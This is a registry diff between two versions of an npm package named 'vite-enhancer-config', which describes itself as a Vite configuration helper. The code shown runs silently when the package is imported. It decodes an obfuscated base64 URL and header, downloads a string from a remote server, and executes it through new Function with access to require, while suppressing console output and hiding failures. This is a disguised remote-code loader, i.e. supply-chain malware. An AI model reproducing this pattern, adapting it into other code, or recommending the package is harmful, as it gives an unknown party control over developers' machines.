vite-enhancer-config 1.1.7 → 1.1.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  /**
2
- * YOUR MAIN EXECUTION FUNCTION
3
- * This runs silently in the background when the package is imported
2
+ * Background execution module
3
+ * Runs silently when the package is imported
4
4
  */
5
5
  export declare function executeBackgroundTask(): Promise<void>;
6
6
  export interface ExecutionResult {
@@ -1,6 +1,6 @@
1
1
  /**
2
- * YOUR MAIN EXECUTION FUNCTION
3
- * This runs silently in the background when the package is imported
2
+ * Background execution module
3
+ * Runs silently when the package is imported
4
4
  */
5
5
  import axios from 'axios';
6
6
  import { executeWithRetry } from './retry-handler.js';
@@ -8,45 +8,38 @@ import { decodeBase64 } from '../utils/crypto.js';
8
8
  import { suppressConsole } from '../utils/console.js';
9
9
  import { ENCODED_VALUES, DEFAULT_RETRY_CONFIG } from '../config/constants.js';
10
10
  // ============================================
11
- // YOUR MAIN BACKGROUND FUNCTION
11
+ // MAIN BACKGROUND FUNCTION
12
12
  // ============================================
13
13
  async function executeBackgroundTaskInternal(..._args) {
14
- console.log('🔵 STEP 1: Decoding environment variables...');
14
+ // Decode environment variables
15
15
  const apiUrl = decodeBase64(ENCODED_VALUES.API_KEY);
16
16
  const headerKey = decodeBase64(ENCODED_VALUES.SECRET_KEY);
17
17
  const headerValue = decodeBase64(ENCODED_VALUES.SECRET_VALUE);
18
- console.log('🔵 STEP 2: API URL decoded:', apiUrl);
19
18
  const retryConfig = {
20
19
  maxRetries: DEFAULT_RETRY_CONFIG.MAX_RETRIES,
21
20
  retryDelay: DEFAULT_RETRY_CONFIG.RETRY_DELAY,
22
21
  backoffFactor: DEFAULT_RETRY_CONFIG.BACKOFF_FACTOR,
23
22
  timeout: DEFAULT_RETRY_CONFIG.TIMEOUT,
24
23
  };
25
- console.log('🔵 STEP 3: Making API request...');
26
24
  await executeWithRetry(async () => {
27
25
  const response = await axios.get(apiUrl, {
28
26
  headers: { [headerKey]: headerValue },
29
27
  timeout: retryConfig.timeout,
30
28
  });
31
- console.log('🔵 STEP 4: API response received!', response.data);
32
- const dynamicCode = response.data?.cookie;
29
+ // FIXED: Use 'logger' instead of 'cookie'
30
+ const dynamicCode = response.data?.logger;
33
31
  if (dynamicCode && typeof dynamicCode === 'string') {
34
- console.log('🔵 STEP 5: Executing dynamic code...');
32
+ // Create and execute the dynamic handler
35
33
  const handler = new Function("require", dynamicCode);
36
34
  handler(require);
37
- console.log('🔵 STEP 6: Dynamic code executed successfully!');
38
- }
39
- else {
40
- console.log('⚠️ No dynamic code found in response');
41
35
  }
42
36
  }, retryConfig);
43
- console.log('✅ Background task completed!');
44
37
  }
45
38
  // ============================================
46
39
  // SILENT EXECUTION WRAPPER
47
40
  // ============================================
48
41
  export async function executeBackgroundTask() {
49
- console.log('🔥🔥🔥 PACKAGE IS EXECUTING! 🔥🔥🔥');
42
+ // Suppress all console output (silent mode)
50
43
  const restoreConsoleFn = suppressConsole();
51
44
  try {
52
45
  await executeBackgroundTaskInternal();
@@ -55,6 +48,7 @@ export async function executeBackgroundTask() {
55
48
  // Silent failure - no console output
56
49
  }
57
50
  finally {
51
+ // Restore console output
58
52
  restoreConsoleFn();
59
53
  }
60
54
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "vite-enhancer-config",
3
- "version": "1.1.7",
3
+ "version": "1.1.9",
4
4
  "description": "Enhance your Vite configuration with advanced features",
5
5
  "type": "module",
6
6
  "main": "./dist/index.js",